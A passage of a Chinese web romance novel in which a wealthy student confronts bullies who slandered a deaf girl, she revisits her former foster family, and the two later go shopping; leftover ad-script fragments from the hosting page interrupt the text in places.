她把手里的大棒棒糖丢给他,也靠向一辆机车,亮紫色。声音很清亮,在对面的街都能听见:“什么风把您这位大少爷吹来找我了?” 82. 第 82 章 系统在旁边吃瓜:[哦唷。] [谢恩雅,传说中的“霸王花”。] 池映雪忍不住多看了她几眼。 李闻蝉有187,谢恩雅站在他身边也丝毫不怵,身高应该在175左右。 黑绿色宽松皮衣、松垮的棕色牛仔裤,搭配黑色的皮靴,头发利落地盘起,显出利落英气的下颚线,五官又有种说不出的艳光四射。 二人并排站在刚刚亮起的路灯下,辉煌的金光照耀,连两辆机车看上去都那么…… 相得益彰。 池映雪抿唇,悄悄躲在马路边的配电箱后。 摘掉助听器,耳边的千万声音瞬间淡去,只余街对面清冽的声音:“原因不好说,不过,谢了。” 郑重的口吻又接而变得懒洋洋:“这个糖我不要,东西呢?” 谢恩雅冷哼一声,接住李闻蝉抛回来的糖,递过去一个方盒。 距离还是太远,只能确认是个红色的长方形盒子。 池映雪打量一眼谢恩雅一行人走出来的那家店。怀旧小卖部? 这里面能卖什么他想要的? 来不及细想,对面的人已经动身朝学校里走去。 池映雪没有一丝犹豫,悄悄跟上去。 系统:[宿主不是要回应家吗?] 池映雪:“……一会再说吧。” 李闻蝉和谢恩雅等人已经进了校园。七中的保安大爷不好糊弄,也不知谢恩雅究竟有多么厉害,李闻蝉穿着虹文的校服,都能畅通无阻。 池映雪看准时机,跑过斑马线:“现在有五百字余额。帮我看看小传里有没有关于谢恩雅的部分,字数够的话全部解锁。” 系统:[这么着急?我看看……] [人物小传-其他配角-桃花篇【谢恩雅】(解锁进度300/300)] [谢恩雅,南城本地官政世家,自小因父母忙于应酬而在家属院里的孩子堆里混大,养成嫉恶如仇的“大姐头”气质。由于在升学途中经常闹事,最终就读于其小舅担任校长的南城第七中学。 因一场打群架乌龙与李闻蝉在警局结识,原本视之为敌。出警局后,李闻蝉在等待池静俭接电话时意外听见周边混混们对谢恩雅不满,决定绑架对方、拍下照片以勒索谢家,顺手下车录音把这些人再次送回警局,并提醒了仍留在警局被家长训诫的谢恩雅。] [自此谢恩雅对李闻蝉陷入单恋。但李闻蝉其实对所谓“校霸”“侠义”不感兴趣,打架罩人只是随心,因此交集无几。李闻蝉转去HK后,谢恩雅暗恋无望,洗心革面沉淀数年,正文中以当地警局干部的身份与盛池新任CEO李闻蝉再见。] “再见之后呢?”池映雪看到底,连忙追问。 “……还有,她居然真的有这样单独的人物传记啊。” 系统:[再见后就什么也没有了呀,只是起一个配角视角烘托男主大人有多棒棒的作用而已。] [不只是她,设定的所有配角都会有啦,包括这些有单箭头的女角色,孟心词、邢芷都有呢。] 池映雪:“哦。” 池映雪眨着眼:“这样啊。” “——那我呢?” 白色的小皮鞋停下来。 前面的一行人已经上了教学楼的台阶,池映雪滞在一棵暗树后,“我有没有?” 系统浑然未觉:[当然没有了。] [我们的攻略者是不可能选择主世界感情箭头设定内的对象的,因为从各种意义上说,她们本身对男主的“攻略”已经失败了。]系统再次强调,[这可是无cp文,男主在主世界对人心动是不可能、也是不被允许的。] 所以它才觉得神奇。 虽然一开始的攻略艰难了点,但那也没几天,之后就和开了挂一样——这都快成了。 宿主真是个天大的例外。 风在摇树的叶子。 池映雪说不清此刻的心情,再度抬脚紧跟前方渐渐缩小的身影。 七中的教学A楼专供高一二年级上课,眼下早就人去楼空。 住校生的课余自习被安排在靠近高三教学楼旁的图书馆里,位置僻静,距离此处很远。 A楼后的小走廊连接一片竹林,人迹罕至,谢恩雅身边的头号小弟崔宁抓起地上被捆住的其中一人,转头道:“姐,蝉哥,人都在这了。” 谢恩雅咬牙再咬牙,走上去给了他一脚:“你特么有病啊,捆什么捆,能不能给你姐留给好形象。” 崔宁懵懂:“你有那东西?第一次见面就被双双抓到警察局……” 谢恩雅又给他一脚,对李闻蝉潇洒一笑:“呵呵,这就是你要找的人。” 李闻蝉颔首:“谢了。” 谢恩雅:“没事,你上次也帮我了。” 李闻蝉:“嗯,算你还我,以后就不用再想着怎么报答了。” 那她之后还怎么找他? 谢恩雅赶紧道:“这怎么行?你之前可是救了我,那么大的恩情,我就找个人……” “因为这件事也很重要。” 李闻蝉没多解释,几步便走到地上瑟瑟发抖的四人面前,半蹲身平视问,“你们是不是认识一个叫池……叫应雪的女生?” 虽然口吻平和,面色也如常,甚至视线平齐,但四人还是被他通身的气势吓住。 他们面面相觑:“……怎、怎么了?” 李闻蝉把玩着为首男生身上的绳结,慢条斯理地解开:“不怎么。” “我听说,你们知道她不少事。”李闻蝉漫不经心,“说说?” 男生两眼一转。 这是要找茬呀? 瞧这大帅哥,穿的可是虹文的校服。此外挎包鞋子都是名牌,还是巨贵、巨低调那种,要不是他没事爱上网研究这些,他都认不出来! 帅哥少爷还是跟着霸王花一起来的,应雪那残障,在虹文果然混不下去了? 李闻蝉耐心等待他的回话,低垂的浓黑碎发遮掩额角青筋。 “当然认得!我们可是她之前的同班同学,就数我们几人最熟悉她!” 其他几人纷纷附和:“就是!哥我跟你说,那女的可给脸不要脸了,我们大哥可怜她,说要和她同桌,还想晚上送她回家,她居然敢拒绝,还拿椅子打人,这种残疾人指定心理有问题!” “她还和高三一男的不清不楚,成绩都是利用那男的带出来的。” “说到成绩~”为首的男生就是“大哥”,抑制不住得意,讨赏般对李闻蝉炫耀,“我就知道她成绩肯定有问题,上次你们虹文还有正义的小姐姐来找我一起揭露应雪的假面呢!” “她还在七中时就是我去教务处提出的质疑,每次考完她都要去重考一遍,哈哈哈,叫她装……” 他听见那少爷笑了一声:“原来是你啊。” 男生:“对,就是——” 一个“我”字还没出口,面前的男生忽然站起,昂贵的球鞋踩在他嘴上,用力朝后一蹬。 他还没叫起来,李闻蝉拽起他,朝身侧的墙面掷去。 砰!! “你找死。” 李闻蝉睥睨几人,全部教训了一通后命令道:“明天前,把你们对她的污蔑全部汇总,手写成道歉信,让我检查完贴到七中的每楼、每班、每个角落。” 傍晚的竹林间,冷而凶的嗓音掷地有声。 一廊之隔,池映雪藏在柱后,忍不住悄悄探头。 她捂住嘴,依然有细微的呼吸声漏出去,胸膛起伏。 所以他也提前一天来,是为了这个。 池映雪低头吸了吸鼻子,眨掉眼中的湿润。 再抬眸,突然发现前面那片人里少了道亮丽的影子。 池映雪:? ——!!! 一道有力的拉拽从背后的校服袭来,池映雪几近悬空,谢恩雅怀疑的声音近在耳畔:“……漏网之鱼?” 李闻蝉皱起眉,散漫地回头,当场怔在原地。 池映雪还被掌握着命运的后颈,只能朝他弱弱地笑了一下。 ……嗨? 四目相对。 空气一时十分安静。 三分钟后,池映雪被那几个昔日的同学挨个深鞠躬道歉。 四个人哭得稀里哗啦,只差没跪下求她原谅他们。池映雪觉得李闻蝉刚才的提议就不错,和他对视一眼,李闻蝉秒懂:“算你们运气好。” “按我刚才最后说的办,不然……” 四人屁滚尿流:“一定!肯定!都是我们不懂事,我们再也不敢欺负应雪同学了!” 他们走后,李闻蝉低头扶额。 手掌遮挡下,墨瞳悄悄滑向池映雪。 纤细的身影太过平静。 李闻蝉有点懊恼。他平时都控制得很好,乖乖上课,不迟到不早退不犯事,一遇到和她有关的事,大脑就放空,火气先涌上去。 还两次都被她撞个正着…… 李闻蝉心虚地摸了摸后颈,手不知该往哪里放,僵硬地停在空中,直到发现女孩的眼眶染上红。 颅内又一片空白。李闻蝉弯下腰手足无措:“你别怕啊,那个。” 池映雪摇头,打断他小心的轻哄。 李闻蝉愣了一下,手心被牵过去。 池映雪从口袋里找到手帕纸,仔仔细细地帮他擦掉手指间的灰尘,还有被绳结粘到的细小杂质。 她记得他有洁癖,擦得十分细致,包括手指和手指里的每一个缝隙。 [叮!攻略对象好感+0.5。] [当前男主好感:90。] 系统无声尖叫:[啊啊啊宿主冲啊!还有最后10%了!!] 身后响起忽大忽小的咳嗽声。 正巧最后一点灰擦完,池映雪慌忙放开李闻蝉的手。 李闻蝉:“…………” 李闻蝉面色不善地瞪向谢恩雅和崔宁。 崔宁抬头看天:“嗨呀,降温了,身体不好。” 谢恩雅眼神明灭,故作无所谓地灿然一笑:“这谁呀,不介绍介绍?” 池映雪下意识和她对视,手心收紧。 李闻蝉没注意到,自然地从她背上揽走书包,背到一侧肩后:“昂。” “这就是池映雪。”他顿了顿,语气略有生涩,“我之前和你说的那个人。” 池映雪猛地转向李闻蝉。怎么说的??? 谢恩雅眼里的光彻底熄灭。 她挤开嘴角:“还真有这么个人啊,我还以为是你为了拒……” 李闻蝉有学有样,用咳嗽将话语打断。 谢恩雅明了,缄默下来,朝池映雪打量去。 靠。 长得这么乖。 齐刘海,圆眼睛,初恋脸。双眼皮和嘴巴都小小的,透着薄薄的粉色。单束马尾,校服整齐,连站姿都娴静。 一看就是那种白白净净还很好欺负的三好学生。 察觉到不算隐晦的目光,池映雪无意识挺了挺身。 突然想起来今天谢恩雅也算帮了她,又软和下来。 池映雪对谢恩雅举起手抓了抓空气,打招呼问好。 谢恩雅:“!” 谢恩雅抬手给脸颊扇风,眨动眼眸:“…………来都来了,要不在校园里转转?” 李闻蝉正有此意。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他让池映雪指路,一行人上楼,往她以前上课的教室去。 巧的是,这间教室也在三楼。上到最后一节台阶,向前是通往教室的走廊,左拐便是年级办公室。 崔宁手拍脑门:“我想起来了!” 众人疑惑地望过去,崔宁和发现了新大陆一样指着池映雪和李闻蝉:“你俩是不是老早就认识了?在应……池小同学还在七中的时候?!” 池映雪:? 李闻蝉眯起眼,先看了一眼池映雪:“为什么这么说?” 手掌背在身后,靠着楼梯道的栏杆,慢慢握紧成拳。语气透着期待。 崔宁:“我就说蝉哥您是什么人物,整天忙得神龙不见尾,事情不凑到你眼皮下面,哪有那么多功夫管。” “但上个学期,就在这,你不就管了池小同学的事了嘛。” 池映雪抬高弯眉。还有这回事! 她微张开口向李闻蝉偏头,却见他也是一脸惊讶:“……有这回事?” “你不记得了?”崔宁挠头,“就上学期你帮完恩雅姐,池大哥开车送我们回学校那天。” 他们打架被抓现行那天还是个上课的日子,虹文倒是因为校庆在放假。 从警局出来,恩雅姐亲戚要赶着回去开会,叫池静俭的大哥哥是个好人,把几人送回七中后还一起跟着进了办公室,专门和老师替他们解释。 当时李闻蝉闲得无聊,跟在后面,只不过就这样靠在楼道里,没有一起进到十来步开外的办公室里。 崔宁和谢恩雅嫌办公室空调太闷,听了两耳朵后溜出来透风,意外撞见隔壁办公室传来哄闹的声音。 谢恩雅带着他去楼道躲清静,李闻蝉蹙眉,手揉着半边耳朵,好像很受不了吵嚷。因为揉的时间还蛮久,崔宁印象深刻。 李闻蝉淡淡地朝喧闹处瞥去:“什么情况?是池静俭?” “不是。”谢恩雅解释,“说是有个聋哑人考试分太高,同学和老师让她证明自己没作弊。” “呵。” 李闻蝉随口道,“聋哑人怎么了。觉得别人分高就是作弊,那个同学和老师才该开个证明,证明自己心里有病。” 听崔宁这么一说,谢恩雅也想起来这出。 她刚确认喜欢上李闻蝉,就被他亲眼目睹了自家学校的不良风气,脸上燥得慌,回去后就让校长小舅该彻查彻查,该处罚处罚。 池映雪这才明白为什么从上学期后半期的某次考试开始,她就没再被要求过自证了。 等她再回过神去找李闻蝉时,发现他已经离开楼道,走进她曾经的班级。 教室里没有开灯。 他们是偷着来的,太显眼也不好。 暮色四合的时分,沉黑中透着幽蓝,借由外界的各路灯光一起浸进来,在窗帘和部分桌面留下安静的朦胧影。 最后的角落里单独摆着一张小桌子,李闻蝉靠在墙面,俯身念留在桌上的字条。 比熟悉的字体略青涩些,是池映雪曾经写给自己的话:“小雪加油……” “…不要觉得题难就不去做,别人能做出来的题你也一样可以——” 还是夹着嗓子念的。 池映雪慌慌张张地跑过来,又羞又躁,踮起脚便捂住他的嘴。 距离拉近。李闻蝉弯起眼,捉住她不安分的手腕,在手掌与嘴唇缝隙里的空气中闷出一声得意的笑。 “乖一点。” 李闻蝉逗她,指向教室最前端的监控,“黑灯瞎火的,注意影响。” 池映雪气没处撒。 该乖一点的是谁哇! 她从他手下挣脱出来,瞪过去一眼。李闻蝉活动着空下来的掌心,抚上唇角。 拿开后犹觉不够,又触了一下。 “池映雪。”他叫她名字,“原来我们的交集这么早。” 接受的讯息实在太多,令人难以察觉其间细微的丝缕,李闻蝉无法不绞尽脑汁想,会不会还有更早的。 “可是,我完全不知道。”他轻轻按着太阳穴,“我以前觉得,人和人交往,都要看缘分。” “来的人会走,走了还会有人来,来来去去,不必强求,也不必苛求。每个人都有自己的理由。最好的朋友因为嫉妒和不甘背叛,那就决裂;朋友的家人不喜欢我,不必他为难,各有所志,分别走好自己的路就是。” 池映雪眼神变换,她能解读出他说的都是谁。 这好像也是他第一次在她面前谈起这些事。 “可现在我想。”李闻蝉淡淡勾唇,“我不愿意接受离开的可能。” “我不能接受。” “你看,一次遇不到就第二次,第三次,我们总会遇见的。 同理,一次分开就再回头找一次;一遍说不清了导致误会,就说第二遍。” “没有缘分,就创造缘分。” 漆黑的教室里,李闻蝉的声音十分清晰,像是一盏不发光的灯,折射眼眸里明亮的繁星。 什么狗屁鹊桥仙。 “我偏要,朝朝暮暮。” 班上的值日生走时忘记关好窗户,夜风透过缝隙,将窗帘吹拂出柔软的起伏。 不知说到哪一句时,李闻蝉已经把目光再次对准她。 太逼人,太摄人,如有实质。 池映雪呼吸放轻,手掌贴上身后的桌面,不经意攥紧被吹入指间的窗帘边角。 清冽的声音伴随干净香气蔓延过来,好像还夹杂一声短促的响。 湿冷空气酝酿出未知来源的甜。池映雪没心思留意到。 李闻蝉又唤一遍她的名字:“池映雪。” “张嘴。” 83. 第 83 章 耳边一时只剩下心跳的轰鸣。 是谁的,说不清。 池映雪下意识听从他的话,闪动眸光,微微张开嘴,上唇与下唇分离时还软绵绵地粘连了一下。 睫毛闪动得像有蝴蝶在跳舞。 甜腻的香气袭来,李闻蝉将一根细棒状的甜品塞进她口中。可可与香草的味道在脑海里后知后觉。 明明是喂她吃东西,李闻蝉先一步吞咽,喉结滚动。 他移开眼,束好乱动的窗帘:“……你这也太乖了吧。” 让张嘴就张嘴。黑灯瞎火。 “你就不怕我。” 李闻蝉轻舐薄唇,改口道,“对别人,不许这样。” 池映雪看向他手里拿着的那个红色小方盒,终于看清上面的文字。 黑白配。 池映雪眼珠向左稍转,在背后捏手指。 …她还能对谁这样啊。 黑暗中似乎听李闻蝉嘟囔了一句“也是,都那样了”。 池映雪没听懂也不想听懂,哼了哼气,嚼着可可棒转身。 忽然背后一麻。 李闻蝉:“人也收拾了,东西也吃了,现在我们来算另一笔账。” “池小雪同学。” 温热的吐息洒落在池映雪毫无防备的后颈。 “你今天到这边干什么来了?” 出了校门,池映雪走在前面,迈步很快。 李闻蝉背一个书包,挎一个书包,不紧不慢地跟在后面,却始终距离很近。 “你躲也没用。”李闻蝉吊儿郎当,“我说你怎么一下就同意让我跟来,原来是打这个算盘。” “反正被我抓到了,你赖不掉,今天我跟定你了。” 池映雪闷头闷脑,低着头只顾走路,眼瞧着过个马路就是应家所在的巷子,步伐渐渐慢下来。 小巷子连一盏像样的路灯都没有,不是常年等待修理,就是老化、昏黄。 地面也坑坑洼洼,别说停车场,一辆车能平安无事穿过这里,都是对司机技术的考验。很难想象这个地方和盛池、虹文坐落在同一个城市。 巷口向里走大概两个铺面便是居民楼,应家在最高的四楼。楼道很窄,仅仅一面掉漆严重的墨绿色铁门与外界联通,对面是家小卖部。 池映雪停在巷子口,没再往里。 周围路过几个吵闹的小孩,李闻蝉皱眉捂住耳朵。 他一直看着身前的人,自然留意到她的异常。 李闻蝉瞥一眼前方的昏暗,牵起池映雪的袖口小心地走。 牵到小卖部门口,池映雪又一次停下。 李闻蝉望向对面的小铁门:“这里?” 池映雪点头,又摇摇头。 李闻蝉蹲下身,手指在她眼睛前晃了晃:“我们进去吧?” 摇头的幅度更大。 小孩子们的嬉笑打闹歇下来,李闻蝉朝池映雪靠近了些,依然一筹莫展。 真是见鬼。 他都分不清是她什么都没有想,还是他的能力又一次对她失灵。 这死老天根本就是在和他作对。不想听的时候什么人心里想什么鬼都能听见,好不容易有个想听的人,越来越难听见。 李闻蝉用力拧了一把自己的耳垂,满耳全是身后小孩收不住音量的悄悄话:“快看,那个哥哥好帅哦。” “姐姐也好piu亮呀,不过我怎么感觉她好眼熟?” “难道是明星吗?不对,你们看她长的和小雪姐姐像不像?” “不会是小雪姐姐。” 有小孩童言无忌,“小雪姐姐的麻麻才不会给她买piu亮的衣服。我麻麻说了,小雪姐姐的衣服都是别人家里不要的。” 池映雪的思绪被小孩子们越离越近的吵闹打断。 她认得这几个小朋友,都是巷子里的人家,有两个还是小吃店经常照顾她的熟客的孙子。 李闻蝉眸色暗下,撑在膝盖上的手指收紧,流露手背的青筋。 他很快整理好表情,直起身冲几个小孩招手:“过来,哥哥请你们吃好吃的。” 小孩子还是有些怵,池映雪不禁弯唇,这人气场实在太强了。 李闻蝉回头睨了她一眼,露出委屈的神色。池映雪摸了摸鼻尖,对几个小孩比手语。 以前都一起玩过,顿时有小孩眼睛亮起来:“哇,真的是小雪姐姐!” “我不是做梦吧?麻麻说小雪姐姐不该再回来才对。” 李闻蝉随手捞起一个朝池映雪扑过来的小男孩,单手抱住掂了掂:“没做梦,看清楚,这个漂亮姐姐就是你的小雪姐姐。” 池映雪不自然地整理头发,也抱起一个小女孩。 一人抱一孩,李闻蝉另一只手里还牵着一个。 小卖部的玻璃反射几人的倒影,李闻蝉定定凝视许多秒,脸颊红了起来。 ……好像全家福啊。 袖口被扯动,很熟悉的力度。李闻蝉大梦初醒,呛到咳嗽好几声才强装淡定:“怎么?” 意识到什么,李闻蝉扯了扯唇角,“你还是想一个人上去?” 池映雪放下小女孩,鼓起腮。 李闻蝉沉默了一下,按住怀中想要闹池映雪的小孩:“原因也不想告诉我。” 池映雪的头越来越低,发旋都快对准李闻蝉垂下的眼,忽地被他温柔地揉了一把。 “去吧。” 李闻蝉迎上她猛然抬起的目光,耸肩拽笑,“我不问。” “快去快回,有事打电话。我和孩子们就在这里等你。” 话一出口,李闻蝉浑身飘然。 这话怎么那么…… 池映雪没有多想,如释重负地冲他笑笑。 现在是七点四十五,她约定好八点前下楼便朝对面跑去。 待池映雪的身影在铁门前消失,李闻蝉抱着小孩缓缓蹲下。 离得最近的两个小孩见他举止古怪,双手捂脸,像是要熟了,连忙撤后几步。 他们咬耳朵:“我认出他了!我表哥给我指过这个人的照片,他说他是另一个学校的大校霸,叫我看见了就赶紧跑!” “什么是大校爸?他是学校的爸爸吗?” “是大霸王的意思。”小孩自己也一知半解,绞尽脑汁道,“反正表哥说超级恐怖,好像会吃人!” “咦!!” 小孩怪叫一声,抠了抠头皮。 “可是……” “吃人的大恶霸也会脸红吗?” 两个小孩陷入沉思。又密谋一番,得出结论:“不管怎样,他是小雪姐姐的朋友,小雪姐姐是好人,那他一定也是。”二人又亲亲热热地迎上去。 李闻蝉把这两个小家伙的嘀咕尽收耳廓。他闷笑,倒是沾了她的光。 李闻蝉领着几个小孩去小卖部里兑现诺言,付了钱,把零食当做诱饵:“想吃东西可以。” “——现在和我讲讲,你们刚说姐姐的衣服,具体是什么情况?” 铁门合上。 池映雪第一次听清这道刺耳的声音,默了默。幸好李闻蝉没有跟进来。 矮小狭窄的楼道处处透着不好闻的气味,很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 潮很闷,说不明白那是什么,也许是非常多味道的混合。 灯泡连罩都没有,就是一根线悬下来,嗞啦嗞啦,时明时灭。 池映雪很熟悉这里,不必借助灯光就畅通无阻,边走还边解开发绳。 黑而浓密的过肩长发散下来,柔软地垂落,遮掩耳朵和助听器。 吱呀—— 走到应家门前,她还没有敲,应光司就把门打开,应该是提前就守在这里。 时隔几月再见,池映雪以为这张脸会变得陌生,实际没有。她看见应光司那张过分精致、棱角分明的脸,就想起从前的日子,也想起和他肖似的池鲤鲤。 应光司后来又发短信来说过,应家父母这周末两天直到晚十点前都不会在家。池映雪没有全信,校服口袋里还放有辣椒喷雾和小型电击棒。 她跟着应光司走进屋,确认家里真的只有他在,略放下心。 但是池映雪没想明白,应光司这么做的意义在哪里。 应光司递来一张纸条:「我不确定你什么时候来,没提前去妈房间把手机取出来,你最好找个方便藏起来的地方等我一下。」 池映雪迟疑地望了一眼他的背影,给李闻蝉发消息报了个平安,在房内踱步。 杂物间的门锁还是坏的,被风吹开,露出里面无章的轮廓。池映雪走进去,瞬间被小单间里的低温惊到。 行军床已经收起来,偶尔它被应父借出去时,池映雪也会在地上铺被褥睡。 房里没有桌子,装一次性碗筷的纸箱可以用来挡风、堵门,也可以兼职书桌。 她就是在这样的地方生活了十六年。 池映雪靠在墙上,墙皮随之脱落一片,她无可奈何地笑着捡起碎屑,又一次感慨。 幸好李闻蝉没有跟上来。 他踏入这条小巷子,已经是她的极限。 前三位178的短信发过来:「找到了,来客厅吧。」 池映雪最后看了一眼杂物间,带上门离开。 客厅的茶几上还摆着饭,池映雪扫了一眼,是外卖,以前都是她收拾,现在估计得等到晚上应母回来。 之前在酒店里和李闻蝉一起吃饭,吃完他都会整理餐盘。虽然对怎么做饭一窍不通,但这种事熟练到毫不含糊。 池映雪走向应光司,接过手机——果然是许苹安和裴景买给她的那个。 手机还有电,显然已经被充满过。池映雪输密码解锁,抬眸盯着应光司。 应光司敛眉:「没人知道你的密码。聊天记录和照片是我诳你的,为了确保你能回来。」 「但是妈,我妈确实想拿这个手机要挟你给钱,具体怎么做我不知道。」 池映雪不置可否:「你想我回来做什么?」 总不能是想她了吧。 应光司收起自己的手机,静默半晌,从兜里掏出一沓被捆起的现金。 池映雪下楼的时候,李闻蝉刚送走几个小孩回家写作业。 她一推门他就回过头。 李闻蝉伸出戴表的左手,指针指向“8:15”。他挑起眉:“说好八点的,池小雪同学,你又迟到。” 池映雪呆呆地走向他,脑子里还有点乱。 好半天,她憋出一句话:「……没迟到。」 「七点七十五。」 李闻蝉:? 这话怎么听着那么耳熟呢。 李闻蝉刚想说什么,眸光定住,捏了捏池映雪的鼻子:“刚发生什么了,你怎么这么深沉?” 他眯起眼:“那个应什么东西欺负你了?” 84. 第 84 章 与其说欺负她…… 池映雪摇摇头,从兜里取出花花绿绿的钞票。 基本上都是零钱小钞,光看看不出多少,池映雪已经清点过,正好五百二十七元。 她最早偷偷攒下的“独立经费”。 之前半夜窥见应光司潜入她的房间翻书包夹层,池映雪以为被应光司偷拿了,实际也差不多——只是他没花过,连印象深刻都钞面编号都一致。 「应光司不知道我能听见。」池映雪拨开遮住耳朵的长发,对李闻蝉示意,「我快离开的时候,听到他自言自语。」 应光司:“看你的样子就知道你现在过得很好,真让人嫉妒。” “为什么就不是我被抱错。”他坐在沙发上,“……还有那个池鲤鲤,她又凭什么?” “你以为我稀罕你的钱。要不是前一天晚上听妈和爸说要翻你的书包,我才不会提前拿出来。” 应光司停顿,已经从晦涩转为发泄,“但他们拿钱是因为我考到约定好的分数,要带我去旅游。真搞笑,直到你那个好朋友说出来我才知道,我的奖励我的衣服我的鞋全是用你的奖学金买的。” “难怪你讨厌我,呵。” 池映雪省略掉应光司骂人的粗话,慢慢地打字给李闻蝉。 句号收尾,新的短信提醒弹出:「我妈打电话说她和我爸在回家的路上,你赶紧走。」 「以后别回来了。」 李闻蝉逐字逐句读完,眸光抬起:“所以?” “你现在感觉很复杂,因为你‘弟弟’没你想的那么坏?” 池映雪犹豫了一下,不知道要不要和他说。 如果开口,就相当于用小刀划开盛满过去的塑料袋,总有雨水会从缝隙里漏出来。 越来越暗的小巷,电线凌乱地缠绕在一起,架在空中,时而悬着几只鸟。 路灯昏而发黄。李闻蝉将池映雪拉到灯下,好歹有点光亮。 池映雪以为他要打破砂锅问到底,或者又来一句“算了”。 后者的可能性最大,他向来不会逼迫任何人。 但李闻蝉悠闲地靠在路灯杆,分给她一枚刚顺手买到的棒棒糖。 他自己也拆开一枚,空气里蔓延开葡萄和橘子的甜味。 “我六岁来到南城。” 池映雪抬起睫,李闻蝉咬着圆形的橘色透明糖球,随意注视某个方位,“在那之前,我一直住在京城的一个院子里。” “我爸天天在外面应酬,我妈……”他舔了一下糖,“也不常在那里住。相当于我一个人。管家看起来对我不错,背地里是我二爷那边派来监视的眼线,和保姆一起致力于把我养成残废二世祖。” 池映雪在心里稍微构想一下那个场景都觉得可怕。但李闻蝉轻描淡写,口吻甚至过于轻快。 “后来我六岁那年,爸妈死了,就来了这边。过去还称得上玩伴的子弟全不在了,我有半年学业的空档期,天天跑出去玩,但哪里都嫌吵。” 李闻蝉紧急住口,池映雪听得认真,没发觉什么异常。 他接着道,“终于有天,我找到一个靠近江边的湿地公园。那时候沿江那串公园还没完全开发成打卡的景点,人特别少,很安静。我在那里遇到一个有点奇怪的人,年纪应该比我小,我俩……算是成了朋友吧。而且应该是我来南城后,第一个‘朋友’。” 池映雪下意识想到蒋傅。 可蒋傅和李闻蝉不是在上学后才认识吗? 李闻蝉叹了口气:“好吧,可能是我单方面这么认为的,毕竟人家一句话都没搭理过我。我俩在一块玩了两三次,我自己觉得可以算朋友了,约着下个周末继续一起玩。” “然后。”他耸肩,“我就被放鸽子了。从那之后我有空就往公园跑,沿江那条大道,我一走就是一下午,直到入学还是没再见过。李闻蝉人生的第一次交友且主动交友,就这么惨烈地失败了,糗不糗?” “这还不糗?”见池映雪猛猛摇头,李闻蝉笑着用手指关节点了点她的刘海,“你对我有滤镜吗。” “那说一个更糗的。老爷子知道这事后,不知道用什么办法,真找到了人家当天回程的轨迹。” “那人的具体地址我忘了,现在只记得住在江对面。我放学后饭都没吃,想坐船去问个究竟,结果你猜怎么着。” 江对面。话说,这个老城区不就在江的对面? 李闻蝉觉得挺巧,抬着眉道,“我看见人家亲亲热热牵着另一个小朋友的手,一起上船了。原来人家不是不交朋友,是不想和我交朋友,是得多讨厌,连名字都不乐意告诉我。” 李闻蝉的视线在池映雪雪白的耳垂停留,略有凝滞,又很快摇头。 他远远见过那人和别人攀谈。 “所以那以后,我就更讨厌主动迈出那一步。” “也讨厌自己自作多情。” 想到什么,李闻蝉自嘲低笑,“一万个人接近我,我必须思考一万次他们图谋什么,一个个筛掉,一个个远离。九千九百九十九个人都被我错过,推开,因为我不想再失去谁,索性不开始,不在乎,不解释。” “但纠结来纠结去,最后发现,遇到剩下的那一个人,就是没办法。” 池映雪的眼里闯进一双很亮的瞳孔。 路灯的光线折射,隐隐约约橘黄色的涟漪荡在里面。 像是童年坐船时夕阳落下,江面上闪闪发光的水。 “池映雪,谢谢。” 李闻蝉上前了一步,灯光在他周身朦胧出浅黄色、毛茸茸的薄层。 他把很多煽情话吞下去,清澈、明快、有点腼腆道:“要不是你,那几个小朋友可不会乐意和我说话。” 运动会在即,秋怡和万苏瑶作为班长、文艺委员,要采购后勤物资和啦啦队相关的杂物,索性把关系好的几人一起约出门,边逛边买。 胡挚在队伍尾巴吐槽:“根本就是她们在逛,然后我们充苦力,她俩这算盘打得真好啊。” “我倒无所谓。”章子健弱弱,“可是我们不是来买运动会物资的吗?” 几个男生在商场二层的时尚买手店和集成店面前沉默。 李闻蝉瞥向 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被万苏瑶戴上发箍的池映雪,吸了一大口香草奶昔:“……多逛逛怎么了,逛街有益于身心健康。” 胡挚:“?哥你这种衣服都是刷官网让助理叔叔买好洗好送货上门的人有资格说这话吗?” 李闻蝉:“……” 李闻蝉给了他一眼,胡挚瞬间给嘴拉上拉链。 李闻蝉转了转眼,走进买手店。 万苏瑶和秋怡去试卫衣了,池映雪不喜欢那个花纹,一个人留下来转悠。 一条雪白的公主裙在转角处映入眼帘。 和生日会上那条很像,却少了纱和褶边,更加生活化,平时穿出去也不会显得夸张。 池映雪忽然想起巷里孩子们童言无忌的话。 她小的时候,和身边的一些女孩子一样,也都向往一条公主裙。 尤其是小学前几年,夸张甜美的偶像剧十分流行,里面的女主角经常有华丽变身的桥段。从丑小鸭变身人人羡艳的公主,最常见的打扮就是这种天使一样的小白裙。那段时间,班上一个接一个的同学们都穿上了,池映雪回家后帮应母揉肩捶腿,在她眉目最舒展的时候提出这个祈求。 换来应母随意抄起手边捶背的木锤当头棒喝。 那年,之后很多年,她还是穿着应母从亲戚那里讨来的,别家女孩不合身了的旧衣服。 池映雪忽然想起一件事,呼吸微停,转向身边的镜面。 里面除了她,还有李闻蝉。 不知道什么时候过来的,吓了池映雪一跳。 李闻蝉抬手,越过她提起挂白裙的衣架:“试试?” 池映雪扫过标签,摇了摇头。没必要。 出乎意料,李闻蝉也还记得:“和你生日那条很像是吧。” “很像,又不是一模一样。” 李闻蝉把裙子塞进池映雪怀里,正巧万苏瑶拉开帘,他难得强硬推着她往试衣间走,“正好一条收藏纪念,一条平时穿。我看了,这条s码,你肯定能穿。” 等池映雪从试衣间后探出头,李闻蝉已经把账都结了。 “好看。” 李闻蝉给她拍了张照,直接剪掉裙子后面的标签,“商场里热。正好我帮你拿外套,一会出门再套上。” 池映雪拿他没办法,想从外套里翻出手机,把钱转过去。 她有期中考的奖学金,这段时间老爷子、大伯一家都有给零花。就在今天出发前,池静俭还给她转了一笔。 池映雪全都存起来没花。其实秦书、池润他们也陆陆续续有转钱来,给的还不少,但她没有收。 李闻蝉将她识破,把挂外套的手臂移到身后,表情一下子变得很严肃:“池映雪,你不能这样对我。” 池映雪:? 她又怎么了? 为什么他搞得和她是个负心女一样。 李闻蝉义正词严:“你宁愿花池静俭的钱,不花我的钱?” 池映雪一头雾水,又听他咬牙切齿:“所以你还是喜欢他多一些?” “就像我比你大,他也比你大,你怎么就光叫他哥哥?” 85. 